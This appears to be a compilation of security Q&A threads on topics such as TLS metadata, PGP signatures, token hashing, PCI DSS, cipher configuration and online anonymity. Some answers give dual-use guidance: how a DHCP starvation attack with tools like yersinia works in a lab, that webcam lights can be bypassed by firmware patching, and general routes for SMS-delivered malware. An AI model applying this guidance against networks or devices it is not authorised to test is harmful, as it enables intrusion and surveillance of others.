Do I have some other options except for this ones? I guess I need a 'Trust No One' (TNO) or 'Zero Trust' architecture but there are some holes in my design.

Recovery or resets are inherently a back door. Having that capacity means that there is one.

What we have done with 1Password Teams and 1Password Families is given that capability to the Team/Family administrators but not to ourselves. (These are indirectly given the keys to all of the vaults, but they aren't given the actual encrypted vault data).

It isn't a perfect solution, but we think it is a good one. Unfortunately it isn't available for individual accounts. And so people forgetting their Master Passwords does lead to catastrophic data loss for those individuals. This is not something we take lightly, but we (and we hope our customers) prefer that risk of data loss to the threat inherent in us (or someone who compromises us) having the capacity to decrypt customer data.

Anyway, you can read about our approach to recovery (though it is sketchy in the current draft) at https://1password.com/teams/white-paper/


Does Google use the ISP's IP addresses as a frontdoor for their services/servers? I tried to do a search on this but I had no luck. not sure even what keywords to use. I searched mirror, cache but I haven't found this particular situation.

I found that my ISP (UNE) located in colombia-South America, runs some sort of google server (mirror? chache?). These IP's are:
190.248.34.15 (resolves to cable190-248-34-15.une.net.co)
190.248.34.13 (resolves to cable190-248-34-13.une.net.co)
and in fact if I just type those ips on my browser (or you try it in your browser) the google page is shown, even with my username logged in.
If I block 190.248.34.15 youtube webpage doesn't load.

I have many questions about this.

First I want to know if is a standar procedure from ISPs outside the USA TO USE IPs THAT DOESN'T RESOLVE TO THE LOCAL GOOGLE AS CACHE SERVERS. what is weird is that the IPs doesn't resolve to something like numberhere.google.com.co

Is that a flaw in the implementation?

Such IP's don't give users trust. Any user checking that would have doubts if those IPs are legit or some one just cloning or spoofing google in some way . (I know that's not possible as the connections to these particular IPs are ssl and the certificates show no problems)
But for example, I opened TCPview and saw my laptop connecting to one of those 2 IPs to port 443 and I wasn't using google at that particular moment. I saw that I had some trojan horse. but of course I don't.

Second I want to know if the way this was implemented represents a risk for the passwords and usernames somehow. Seems like perhaps the passwords security relies on how these "mirror" servers operates? idk.

Third, I wonder if because this country (Colombia) has so many issues with armed groups and narcotics trafficking , that could be just an easy way to check the info from and to google to use that for security agencies. What I find unusual is  that google announced a cache server for india just this year ( not even a data center) http://trak.in/tags/business/2015/04/15/google-cache-servers-india/
and colombia is far behind them in terms of technology production or the number of the population. So its hard for me to understand why google would create a cache server (if those IPs are a cache server, I don't know how else to call them) in colombia before than in india.

Thanks for your time.

The #1 think you should start with is to check the site's certificate chain. It should resolve to a root from this file. See https://pki.google.com/faq.html for more details there. I'd also expect to see Google Internet Authority G2 as the intermediary signer.

I know of other large Internet companies that deal with personal information who have placed edge termination devices into ISP spaces: It's not just Netflix that does this. It does seem odd to use other address space, but I think the SSL chain is the telling point.

... So I went and looked at the certificate chain myself. The certificate is registered to *.googlevideo.com, and I'm assuming from  https://peering.google.com/about/faq.html that it's a Google Global Cache device. That it's googlevideo.com specifically hints that it only gets a certain type of directed traffic.

Multiple domain names is one way a provider may allow caching of some traffic (e.g., video content) without disclosing more sensitive information routed to other domains (related user ids or sensitive services such as email).


Create a digital signature from another signature in gpg Somehow I formatted the directory containing my secret key. But I still do have a sig file that was created using that key. Is it possible to somehow re-engineer the secret key from that? Or can I somehow sign another file using that one sig file?

Just imagine how much you could trust a signature if it would be possible that someone could create a mail signed by you just by having a mail which was originally signed by you. Therefore: while in theory it would be possible to correctly guess the private key  it is impossible to do this in practice (i.e. will take way too long). And it would be very bad if this would be possible.


How can police get someone's search history? Sometimes I see news articles saying that someone was suspected of a crime so the police got their search history and found various google search terms etc.

What are the possible ways they can do that?

I understand that if they get physical access to the PC (with a search warrant or some other process) then they can check the history if it is stored on the drive, but is there any other way?

Is it possible for ISPs to have access to that kind of information? My understanding is that anything over SSL isn't easy to decipher unless there is some kind of MITM attack.

Other than getting physical access to logs on the machine, what other ways are possible? Does using a Tor Browser prevent these other ways?

What are the possible ways they can do that?

The main ways police can obtain search records are by:

Looking at local browser history on the suspect's computer (as you mentioned).

Demanding connection logs from the ISP, revealing what sites have been visited.

Demanding connection records from the sites that you have visited.

Demanding search records from search engines, such as Google.

Is it possible for ISPs to have access to that kind of information? My understanding is that anything over SSL isn't easy to decipher unless there is some kind of MITM attack.

TLS encrypts web traffic, however you still need to know the IP address and domain in order to connect to a website over HTTPS, and this information is sent in the clear. When connecting to this site for example, your ISP sees the IP address of stackexchange.com, and SNI also gives away the subdomain (security). Your ISP will not know exactly what pages you viewed, however. See another question for more information on what exactly TLS protects. More specifically:
https://subdomain.example.com/some/path?with=stuff
|       visible to ISP       |     encrypted     |

If subdomain.example.com is incriminating, then TLS will not protect you. If the rest of the URL is incriminating, then TLS will protect you from ISP snooping but will not protect you if a court order demands the connection logs from example.com. Only an anonymity network, such as Tor, can help prevent this by disassociating your real IP from the IP connecting to the websites.

Does using a Tor Browser prevent these other ways?

Yes, Tor Browser prevents this type of snooping because everything between you and the exit node is encrypted. The EFF has a great explanation of Tor and HTTPS. When using  both, you can use this diagram to see exactly what different adversaries are able to see and from what position when you are using Tor and HTTPS together.. It is helpful to use this to develop your threat model.

The diagram looks a little different if you are using Tor without HTTPS. While Tor still prevents your ISP from seeing anything other than the fact that you are using Tor, the exit node will be able to read the traffic (but it cannot tell where it came from). This can be an issue if you are submitting sensitive credentials over Tor to a website without using HTTPS. Check out the EFF link to see an interactive version of the diagram where you can toggle Tor and HTTPS status.
One important thing to remember is that Tor is only a tool and, like all tools, you can use it wrong. It will not help you if you screw up and post bomb threats to your school while you are the only user of Tor at the time. Likewise, Tor does not prevent you from accidentally revealing PII.


Should I verify installer file PGP hash? Let's say that I'll download an installer for a program on Windows and the publisher has released PGP Signature for the file.

The installer file does not have any code signing certificates.

If I connect to the publisher's website with https and check that the URL is correct, do you think I should still verify the hash?

From what I understand, the purpose of this is to make sure that the download was not intercepted by a third party and to make sure that I downloaded the correct file.

Is that still a threat even if I connect with https and check the URL?

Yes, you should verify it.

If an attacker can replace the installer file on the server with a malicious version, https (TLS) will not protect you because you're downloading from the correct site, but you're getting a malicious file.

If the publisher has kept their private key truly private, even though the attacker has compromised the server, the attacker cannot create a new, signed hash because doing that requires the signing (private) key.  (Of course, the implication is that the publisher must not keep the signing key on the server, but we can hope publishers know that.)


Safe to switch from PBKDF2 to SHA-1 for token verification? Whenever I need to generate a token (email account confirmation, password reset, remember me cookie, view email in browser etc) I generate a string of random bytes (typically 32 using the Fortuna PRNG) and use PBKDF2 to create a hash which is stored in a database. I then use base64 (a URL safe version) to encode the random bytes before issuing the token to the user prefixed with a unique 7 character alpha-numeric ID which is used to retrieve the PBKDF2 hash when the token is returned. The base64 string is decoded and verified against the PBKDF2 hash from the database. If the verification returns true then access is granted.

However, given that I'm working with random bytes and not user generated input, would it not make more sense to just use sha1 for storing the bytes in the database and verifying against the token? Each time I need to both generate and verify a token I'm doing 10,000 sha256 iterations on an input I already know has excellent entropy. The more I think about it, the less efficient this seems.

PBKDF2 is a "password-based key derivation function", as its name suggests it. It is intended to make harder to bruteforce passwords with low entropy. When using a source with at least 128 bits of entropy, there is no need to use a PBKDF to strengthen it, because bruteforcing a hash will need, in average, at least (2^127)/n iterations ("n" being the number of users of your system). Using 32 bytes (256 bits) would be safe even with billions of users using billions of accounts.

You will be fine using one iteration of sha256 on a token of 32 bytes generated by a CSPRNG.


Is using SHA256 to create 256bit secret key from bcrypt good ok? I am trying to Use AES to store passwords for a password manager. For authentication I am already using bcrypt. As AES uses 256 bit Key can I use SHA256 to generate 256 bit key from hashed value of bcrypt(Not talking about hash saved in Db).

First things first: AES is a standardized subset of the Rijndael cipher, which supports 128, 160, 192, 224, and 256-bit key sizes (AES restricts that to 128, 192, and 256, and also fixes the block size to always be 128). So you don't need to use 256 bits at all; you can, if you want to, but 128 and 192 also work even without stepping outside of AES per se and back to Rijndael.
Since key stretching (hashing a weaker key with an algorithm that produces a longer digest) doesn't add any entropy and therefore probably doesn't impact the security at all, you can either skip it (use AES-192 on the raw output of bcrypt) or you can use it (SHA-256 or even SHA3-256 hash the bcrypt output and then use AES-256). The only place I can think of where using a stretched key might be more secure is if quantum computing ever takes off, brute-forcing a 256-bit key might be enough harder than brute-forcing a 192-bit key to make a difference, but in that situation (actually, in most situations) the easiest option by far would be to just brute-force the password being fed to bcrypt.

Two other obligatory questions:

As @kelalaka asks, why use a 22-year-old password hashing algorithm, that only allows tuning the compute cost and has (by moderns standards) a very moderate memory cost, when newer algorithms that allow tuning both are available?
Why are you building your own password manager to begin with? There are so many options, both proprietary and open-source, most of which have been subjected to extensive review and stood up to actual field usage. Rolling your own cryptosystem isn't quite as bad an idea as rolling your own primitives, but it's still not a good idea. If you need to ask when or how to (safely) do key stretching, you might create a password manager as an interesting project, but you should think at least twice before actually storing any sensitive passwords in it.


Can webcams be turned on without the indicator light? I've made a series of penetration tests in my network and one of the things I've tried was to record webcam and microphone.

Recording an end-user's microphone seems to be a stealth thing, but what about the webcam?
In my tests, the indicator is turned on and I can't figure out a way to do this without turning on the light.

So far, I'm assuming that if someone broke into my computer and turned on the webcam, I'll know that.

But, if that's possible, which of the available hardwares on the market are vulnerable to that kind of attack?

Most definitely,  but in order to do this you would probably have to patch the camera's firmware and then flash it.   Similar attacks have been used to disable the "shutter sound" on cameras.


Will my 445 port still exposed when I connect a windows machine to my android phone's hotspot/tethering nerwork? From 2016.05.12, the EternalBlue exploit attacks the 445 port vulnerability in windows systems worldwide, Will my 445 port still exposed if I connect windows machine to the Internet by an android phone's hotspot/tethering nerwork?

Patch management for avoiding issues like EternalBlue

What does the NSA's Recently Leaked "The Equation Group" Files do?

How is the "WannaCry" Malware spreading and how should users defend themselves from it?

This depends on how you connect it. If you connect to a network Windows gives you the option to decide what kind of network this is. If you choose that you are on a public network (which is usually the default) then the SMB services will not be exposed to the network. But if you chose private network instead they will.

Note that exposing this port to the Android phone does not necessarily mean that it is exposed to the internet. As korockinout13 correctly says in his answer the phone will do NAT which means that the port will not be directly reachable from outside. But, the port will still be reachable from the local network, i.e. from any other systems connected to the same hotspot. This means that if any of the systems connected to the hotspot is already infected the attack might spread from this system to your system.


BIOS Password vs. BitLocker Pre-boot PIN I'm attempting to ensure maximum security for my PC. I'm running Windows 10 Pro on a business-class HP notebook.

Unless I'm mistaken, I understand that both a BIOS password and the BitLocker pre-boot PIN can help to prevent DMA attacks. I'm also guessing that these features are distinct

Is either option--using a BIOS password or a BitLocker pre-boot PIN--preferable over the other? Should I be using both? Are there unique (dis)advantages associated with either option?

Thanks.

Unless I'm mistaken, I understand that both a BIOS password and the BitLocker pre-boot PIN can help to prevent DMA attacks. I'm also guessing that these features are distinct

The BIOS password does not have any effect on DMA attacks. The BitLocker pre-boot PIN can assist in mitigating a specific type of DMA attack called "early DMA", which is carried out before the IOMMU is initialized and ready to restrict memory access from devices. See here for more detailed information.

  Is either option--using a BIOS password or a BitLocker pre-boot PIN--preferable over the other? Should I be using both? Are there unique (dis)advantages associated with either option?

They have totally different purposes. A BIOS password is a very basic protective measure that is only useful against an attacker with limited physical access (specifically, access only to standard input devices like the keyboard and mouse). It is meant to protect from a casual attacker who wishes to boot the system or change firmware settings. An attacker can easily bypass a BIOS password if they have full access to the physical motherboard and firmware chip. Furthermore, a BIOS password does not prevent someone from removing the hard drive and putting it in another computer to read the entire contents.

It's important to note that not all BIOSes behave the same way. Most BIOSes will store the password in plaintext in non-volatile memory and will refuse to boot or allow configuration changes unless it is entered again by the user. This is, obviously, not particularly secure. However, some might use it to augment a feature called SED (Self-Encrypting Drive), where the storage devices themselves perform hardware encryption using the password that is entered. Some other systems will use a rather obscure ATA security feature that offloads the password storage and verification to the storage drive itself, causing the drive to refuse reads until the password is entered. These are all often referred to as "BIOS password".


How to bypass Nmap blockage? I rent a server, and my provider seems to be blocking nmap. Is there any other tools I could use to test my home network from the outside?

Also, does blocking nmap on a network provide any security?

EDIT:

If I try:

nmap scanme.nmap.org - I get:  1 IP address (0 hosts up) scanned in 0.50 seconds

nmap -sT -P0 -p 80 scanme.nmap.org - works

nmap -sT -p 80 scanme.nmap.org - doesn't work

Also, only -sT (TCP connect works), SYN scanning (-Ss) doesn't work.Seems like this could be some type of egress filtering.

If your provider filtering device (ids,end-point protection) has detected some kind of malicious traffic generated from your home-network; that rule (blocking) of namp may be linked in that case. Or sometimes these devices have auto rules to block in case of recon attacks. The traffic from home-network is more of a client-> internet requests ; devices that just analyzes behavior get cautious as they see now inbound traffic generated towards the home-network. Anyhow, you should take this matter with the provider.

As to scan the home-network have you tried an online solution?

http://nmap.online-domain-tools.com/
http://www.seomastering.com/port-scanner.php

If the results still fail it means its not just you; its just the signature that get caught by the filtering device and gets blocked.


Can malware be installed on a mobile phone when the user opens an sms? Is it possible for an adversary send malware over messages? I mean, when the victim clicks on the message sent by the attacker, a malware should be installed into his phone (in background). The hacker should then be able to steal all the data in the victim's phone. Is it really possible? How to perform this attack? What are the possible ways to mitigate risk?

Yes, it is possible. There's in general two main ways to achieve this:

Social engineering. Fool the user into installing a piece of software. Installing software not in the app stores are doable on Android, and quite a lot more difficult on iOS.
Find a vulnerability, that either lets you install arbitrary apps without user interaction, or let's the browser leak the desired data to you. Sandboxing attempts to avoid browser data leaks.

It's not an easy task, but it's not entirely unlikely either.

The easiest way to mitigate the risk is not to access unknown or unexpected links, or in case of messages pertaining to be from a service, e.g. your bank, access them by manually entering the address in the browser. This will mitigate for instance Punycode attacks.

TL;DR: Software may have security holes.


Dropbox between unaware collaborators I share Dropbox directories with about 20 individuals. Most of them has malware on their PC's. How do I protect myself? I have noticed there is a worm (Brontok.bs) that replicates itself to all the Dropbox folders and then somehow writes itself to my win32 directory.

Dropbox policy of syncing was shocking for me:

  Dropbox will sync any files added to it, so if someone syncs a virus
  or malware file, it will be synced to any computers linked to the
  account. Other users' accounts and computers may also be affected if
  the virus or malware is in a shared folder.

As CodesInChaos notes, it will not be able to write outside of the Dropbox folder unless you execute it. Of course, if there were any directory traversal vulnerabilities in the client then this wouldn't hold true, but of the time of writing none have been discovered.

If you're concerned about running malicious files on a certain machine, then it would be better not to run the Dropbox client at all and simply use the web application to browse your Dropbox and shared folders. That way, Dropbox will not be able to write to your file system. It could be conceivable that an attacker who has the ability to execute files on a system, but not write them, could use Dropbox in order to get the files they need there. However, if this is the case then you're already partially compromised.

Using the web app as a browser will allow you to choose which files to write, although you still need to be careful you don't download and execute anything malicious. Using a virus scanner or end-point protection tools such as Cylance, Webroot or SentinelOne can help.

In case of others running malicious code that infects the shared folders, Dropbox includes a feature where 30 days' worth of changes are backed up, which you could use in order to restore all files to their pre-infected state. You may need to contact them though if there are a large number you wish to restore.


TLS version intolerance (SSL/TLS) - Command Line - Ubuntu How to check TLS version intolerance on a terminal for a remote website?

Using openssl or without it!

If you can install python and scapy you can use the  tolerantls command-line utility to check for TLS version intolerance.

Usage is quite straight-forward, e.g.:

$ tolerantls.py --host example.com
  [*] Testing TLS version intolerance against example.com:443
  [+] Server is not intolerant - it downgraded the client request and proposed to use TLS_1_2


ISO27001 Scoping : Defining boundaries I would like to define the scope of the ISMS for an organisation in which information assets are sitting entirely on the cloud and managed through services provided by the cloud (even storing the data is provided as an abstracted service, which implies that the provider is responsible for networking, OS, firewall configuration, physical security). These data and cloud provided services are accessed and processed for various purposes by our main office in another region.

I understand that the basic responsibility of us in such cloud provider settings is to secure data at rest, in transit and manage access controls. In terms of ISO27001 scoping, I need to define the regions inside the scope. Is the cloud centre provider's location going to be in the scope (assuming all the services used are already covered by the ISO 27001 certificate of the cloud provider) or just left as an exception and state that it is treated via SLAs? If it is left out, the only region in the scope is this of the office accessing this data located in the cloud?

The cloud centre provider's location is not going to be in your scope. You will "control" them through A.15 Supplier Relationships of the standard. You will not have direct control over their physical location. It will be treated as you say via SLA. The only region in the scope may well be the office accessing the data located in the cloud as well as what the standard calls "teleworkers" i.e. those who are remote.
Hope that helps!


What effect has MaxAuthTries=1? I configure a new server right now and ask myself what is the internally effect if I set MaxAuthTries=1 in sshd_config.
The server only accept key authentication an no root logins.

Has this setting any effect to prevent brute force logins?

Is there any effect more than closing the tcp socket after MaxAuthTries wrong authentications? Maybe some internal blacklisting for a period or stuff?

MaxAuthTries
Specifies the maximum number of authentication attempts permitted per connection. Once the number of failures reaches half this value, additional failures are logged. The default is 6.

Man page
Setting the value to 1 will mean that your server will only allow 1 login attempt before locking you out.


Does sending credit card info over email violates PCI DSS? Being in the US, I have noticed that more and more companies ask to send sensitive credit card information (all information that is required to make a transaction) over a plain email. I believe that this is a security threat or at least a bad practice.

My question is whether it violates any of the standards (like PCI DSS) and how should one handle such requests?

Yes, PCI DSS requirement 4.2:

  Never send unprotected PANs by end-user messaging technologies (for example, e-mail, instant messaging, chat, etc.).

Unless the email is somehow encrypted, you are not allowed to use it to send cardholder data.


Wipe out or dissapear and start over again in internet for personal security? The other I was talking with a work mate that is part of finances and He made a question that I couldn't answer at the moment.

"I have a lot of accounts and information about me internet. I'm really concerned that personal security is really important this days. I just would like to start again and make a new life in internet Do you know how I can do this?"

What would be the best for this. He also told me that He has an email account where everything is registered. Of course the same account for Facebook, Twitter, Youtube, Paypal.

Should he wipe you everything from this computer and start using VPN or some encryption through his internet.

As far as I know he would like to start a new "LIFE" in internet and forget about the past idenfity that he has.

IT'S NOT something about law related thing... Looks like he just wants to forget about his past life...

The main question is How to start again in internet with a different identity or having a better control about personal information, using the same computer and the same home router?

Thanks

I would think your "friend" could go through all his various accounts and disable them, one by one. That would probably not delete his data, but it would likely reduce his visibility by a great deal.

As an example of this, consider Facebook: If you disable an account, most of what has been created using that account will become invisible (possibly deleted?), but not everything. Also, the account will still remain there, albeit invisible. If you try to rejoin later with the same e-mail address, then you will get the option of reopening the existing account instead. I would be very surprised if most other social networks and other providers of various services did not operate in similar ways; the fact is, it will be extremely difficult to ensure all your data (oh, sorry, I meant your friend's data) will really deleted.

That said, he should be able to reduce his visibility to such an extent that he will be fairly hard to find (that is, assuming your friend is not in the cross hairs of someone with a relatively high degree of competence, like Mossad, for instance).

The other part of your question is about how to initiate a new identity, and keep that separate from one's real identity. As stated by others, this has been discussed in other questions, but the following are a few pointers. (PS: I'm still learning about this stuff myself, and am not providing any guarantees. If your "friend" gets caught smuggling plutonium, or his girlfriend breaks up with him because she caught him participating in online dating because these measures turn out to be insufficiently secure, it's all on him).

First of all, use TOR. Learn how to use it properly, and follow the general guidelines, and you should be safe enough for most cases (general anonymity).
If you want improved anonymity, and to be sure that all your traffic is passing through TOR, get Tails Linux installed on a USB drive, and use that for all activities for your new identity.
Never under any circumstances let your new identity interact with any accounts or anything else that you use or have accessed previously using your "previous" (or real?) identity.
If you are really paranoid, and are worried that this is not enough, then get a separate cheap PC that you can use only for your new identity. Buy it in cash. Preferably using gloves, dark sunglasses, and a fake mustache. Only ever connect it to public networks, so it can never be linked to your address, or the address of any person or organization you may at any point have been affiliated with. Also, don't stay connected for more than a short period at a time, and keep the mustache on in public. A tinfoil hat is optional, but recommended.

Jokes aside: The real issue here is finding a balance that suits your needs. The Internet is a big place, and chances are you can "disappear in the crowd" unless someone is actively searching for you. Creating a new anonymous identity for a limited online existence is fairly easy, provided you don't actively draw attention to yourself, or have highly competent adversaries with a lot of resources. Perhaps the biggest challenge will be to find something useful to do with this new anonymous identity over an extended period of time, without interacting at any time with known friends or organizations which may give away hints to build a profile and connect the dots back to you.

Keep in mind: All kinds of usage and behavior can creates traces. A particular set of sites you visit frequently, the window size of your browser, etc. - these and other factors can be used to create a profile of your user over time. If this profile can be matched back to a similar profile for your real identity, then you may have a problem.

But then again, the odds are your friend's adversaries are not likely to be Mossad.


Disabling CBC ciphers does not stop Chrome from negotiating to use CBC ciphers I am getting an message about 'obsolete cryptography' from Chrome.

Your connection to (site) is encrypted with obsolete cryptography.
The connection is encrypted using AES_256_CBC...

Per this answer, I am trying to disable CBC in favour of GCM ciphers.
However, whether I remove the non-GCM ciphers via '!' blacklists or simply do not include them in the first place, Chrome always negotiates a CBC cipher.
Following the OpenSSL docs, I have pared down my cipher list to the following:
'ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:DHE-DSS-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256'

or, more readably:
"ECDHE-RSA-AES256-GCM-SHA384",
"ECDHE-ECDSA-AES256-GCM-SHA384",
"ECDHE-RSA-AES128-GCM-SHA256",
"ECDHE-ECDSA-AES128-GCM-SHA256",
"DHE-DSS-AES256-GCM-SHA384",
"DHE-RSA-AES256-GCM-SHA384",
"DHE-RSA-AES128-GCM-SHA256",
"DHE-DSS-AES128-GCM-SHA256"

(then joining the array to make the string)
Which openssl seems to like:
openssl ciphers -V 'ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:DHE-DSS-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256'
          0xC0,0x30 - ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(256) Mac=AEAD
          0xC0,0x2C - ECDHE-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESGCM(256) Mac=AEAD
          0xC0,0x2F - ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(128) Mac=AEAD
          0xC0,0x2B - ECDHE-ECDSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESGCM(128) Mac=AEAD
          0x00,0xA3 - DHE-DSS-AES256-GCM-SHA384 TLSv1.2 Kx=DH       Au=DSS  Enc=AESGCM(256) Mac=AEAD
          0x00,0x9F - DHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=DH       Au=RSA  Enc=AESGCM(256) Mac=AEAD
          0x00,0x9E - DHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=DH       Au=RSA  Enc=AESGCM(128) Mac=AEAD
          0x00,0xA2 - DHE-DSS-AES128-GCM-SHA256 TLSv1.2 Kx=DH       Au=DSS  Enc=AESGCM(128) Mac=AEAD

However, after restarting the server with these ciphers, Chrome still says:

The connection is encrypted using AES_256_CBC

How can I properly exclude CBC ciphers from openssl?
Edit: Chrome 44 negotiates correctly. Chrome 42 (the current stable) does not:

Edit 2: Yes, honorCipherOrder is enabled.

It's not up to the client no negotiate that. The server has the last word in this. Chrome can not pick anything the server is not offering.

Check your server with SSL Labs (be sure to check the "Do not show the results on the boards" checkbox)
https://www.ssllabs.com/ssltest/


DHCP Starvation Attack doesn't work in my virtual lab I've installed DHCP server in VirtualBox host-only network type. Other clients in VirtualBox can get their IP addresses successfully from my DHCP server.

I've decided to attack this DHCP server and want to consume all ip adresses that it can serve. But i was failed. I used dhcpstarv, pig.py, yersinia tool to achive my goal. But all tools sent many DHCP Discover packets instead DHCP request packets so that no consume happened in server.

Are these tools supposed to be sent DHCP request message? How can I do that?

Yersinia sends the DISCOVERY packet to exhaust the ip pool. The request packet is sent only after an offer is sent by the server. Here is a picture about how it works:

If you want more info about type of DHCP packets: https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol#Operation

It is suppossed after a Discovery packet is sent, the server response is an offer and then Yersinia should send the request packet but it will only request the packet if the offer is received.

Possible troubleshooting and suggestions:

Try it on other different DHCP server to compare results.

Maybe there is a problem on your DHCP server.

It is supossed to be working. Maybe in other environment could be some kind of protection by the switch (Port Security, DHCP Snooping, Dynamic ARP inspection (DAI), etc). But you said you configured it on your NAT VirtualBox network so there is no protection at all.

Check your network settings, be pretty sure about you are well configured on the right network and check if everything is (virtually) connected as it is supposed to be.


Are more passwords breached via dictionary/bf attacks or via packet-sniffers/key-loggers? This question has always intrigued me whenever the subject of passwords is brought up.  Does anyone have direct experience or a reputable source to answer what percentage of password breaches are executed via cracking (dictionary, brute force or various hybrid methods) vs some sort of keylogger or packet sniffer system?

In other words, should you be more concerned about your password entropy or the path that the password must travel from your brain to the auth server?  Obviously, both.  But in today's security climate, what is the weakest link? This ratio presumably differs between desktop passwords, ssh/server passwords and various online service passwords but since I use all three on a daily basis, I'm interested in them all.

I would imagine that the bad passwords will be hacked quickly and often while even moderately good ones will last until another chink appears in the armor.  But does anybody have reputable sources for what sort of ratios we're talking about here?

The likely answer is that neither scenario is the most common, if we measure commonness by the number of affected users.  The all-too-often reported issue is someone gaining access to a machine that has the user/password list in clear text (or encryption so trivial as to be plain text), which breaches the accounts of thousands of users in a single blow.  This is what happened with Sony, Gawker, and Twitter for example.


Securing an E-commerce site I'm building a custom e-commerce site, and the user will input their credit card details on the site instead of being directed to the payment gateway's site.

I'm confused as to what the critical steps are that I need to take to secure the credit card transaction.

Payment gateways are obviously trying to sell SSL certificaes but my understanding is that the main purpose of those is to provide authentication, and not encryption of credit card details.
/
What steps do I need to take to ensure the customer's credit card details (and other information passed via XML to the payment gateway) are secure?

Thanks

@Jeremy, first thing you need to do is read the PCI-DSS.
That should provide a very good beginner checklist for you. Also, you don't really have a choice in the matter, if you want to accept credit cards you must comply with PCI.

In fact, you'd be better off NOT accepting credit cards, and having other service do that for you - Paypal, payment gateways, whatever. After reviewing PCI you'll probably agree with me...

Here's a few highlights, FAR from complete:

Protect all communications, using SSL/TLS with the certificates, including both encryption and authentication (of the server)
Authenticate all users (a lot of work around password policy and such)
Control access to the application, servers, and database
Never store credit card details, only encrypted PANs
Never store track data, CVV etc AT ALL
Secure your site so its not easily breakable
Monitoring, policies, etc etc and lots more...


How to make the browser redirect me to HTTPS on a specific site? I recently learned that StackExchange sites have both HTTP and HTTPS versions, so, for instance, both http://security.stackexchange.com/ and https://security.stackexchange.com/ are accessible.

By default, Google redirects users to the HTTP version, and there is no automatic redirection to HTTPS on the site. While I'm relatively OK with that when working from home, it annoys me a lot when accessing those sites from a hotel or, in general, any WiFi hotspot.

Is there a way to force browsers (in my case, the latest stable versions of Chrome and Chromium on Ubuntu and Chrome on Android Lollipop) to go to HTTPS version, even when following the http:// link from Google?

Yes you can install plugins to your browser such as HTTPS everywhere:

https://www.eff.org/https-everywhere%20

HTTPS Everywhere was inspired by Google's increased use of HTTPS and is designed to make HTTPS automatically used whenever possible.

It automatically switches sites from insecure "HTTP" to secure "HTPS". It will protect you against many forms of surveillance and some forms of censorship.


Why is the x509 standard for certificates called "x509"? What is meaning behind "x" and/or "509"? X509 is the name of the standard which defines Public Key Infrastructure and the format of SSL/TLS Certificates. My question is:  What does x509 mean?

X.509 is a standard number/index defined by ITU-T, telecommunication and standartization commitee.
X stands for Data networks, open system communications and security standards track and every standard has a number. X.500-X.599 standards define directory services (such as DAP, LDAP, etc.). And 509 is just a number of standard in X track.


How was IronChat compromised? How was IronChat compromised?
https://hotforsecurity.bitdefender.com/blog/police-crack-encrypted-chat-service-ironchat-and-read-258000-messages-from-suspected-criminals-20530.html

Dutch police have revealed that they were able to spy on the communications of more than 100 suspected criminals, watching live as over a quarter of a million chat messages were exchanged.
The encrypted messages were sent using IronChat, a supposedly secure encrypted messaging service available on BlackBox IronPhones.

IronChat used OTR protocol.
https://en.wikipedia.org/wiki/Off-the-Record_Messaging#Client_support

IronChat, based on Xabber (Android)

Signal is also based on OTR protocol. Is Signal compromised also?

In 2013, the Signal Protocol was introduced, which is based on OTR Messaging and the Silent Circle Instant Messaging Protocol (SCIMP).

TL;DR
There is currently no Public Information how exactly messages were read, but it all points to a faulty Implementation of the Software and bad UI Design.

There was not a Problem with the OTR, there was a Problem with the Implementation of it.
On nakedsecurity.sophos.com

For one thing, the app warned users about possible message interception in teensy type, worded in such a way that an average user wouldn’t understand, he said, if they read the smaller font at all. The warning:
Encryption is enabled, but conversation partner is not authenticate

And arstechnica.com

An article published by Dutch public broadcaster NOS said a version of the IronChat app it investigated suffered a variety of potentially serious weaknesses. Key among them: warning messages that notified users when their contacts’ encryption keys had changed were easy to overlook because they were provided in a font much smaller than the rest of the conversation. While crypto keys often change for legitimate reasons, such as when someone obtains a new phone, a new key might also be a sign a third party is trying to intercept the communications by encrypting them with a key it controls.

For Signal in the same news

The Signal app, for instance, encrypts messages using the recipient’s public key before it leaves the sender’s device. As a result, messages that pass through Signal’s central servers can be decrypted only by the recipients’ private key, which is stored only on the recipients’ individual devices. In the event law enforcement took control of the server, they would be unable to read the content of messages without substantially updating the Signal app and waiting for targets to install the update. Even then, they would be able to read only messages sent after the update was installed. Earlier messages would remain unreadable.


Email verification by sending mail instead of receiving I have an app whose main purpose is to help people track emails they send.

In most user onboarding, The user is sent a secret URL via email.  They validate by clicking a link to return the secret.

An alternative would be to create a mailto: link with a bcc: containing an email address that is the secret.  e.g. verifiy-some-long-hash@example.com

We plan to implement the bcc: anyways.  Assume the API used to read the emails includes info on DKIM/SPF verification.

Technically, does that validate the email address as well as clicking a link?

If the email doesn't include the DKIM/SPF info, my assumption is it could have been forged, so it's not complete enough to assume the email is validated.

Thank you!

Relying just on a mail claimed to be send by a specific user will neither be sufficient not practical to verify the sender, even with SPF and/or DKIM validation.

Neither SPF nor DKIM validate the sender of the email in the first place. They verify at most that a mail was send using a mail server which is allowed to send mail for the claimed domain - where the claimed domain is unrelated to the domain in From field in the mail header (i.e. what is usually seen as the senders address). Only DMARC will align the domain in the From field of the mail header with the claimed domain in the SMTP dialog (SPF) or the DKIM-Signature (DKIM).

Even then - this will only align the domain part but not the actually full address. Thus relying only on this would allow attacker@example.com to claim in the From field of the mail header to be goodguy@example.com and neither SPF nor DKIM nor DMARC would complain.

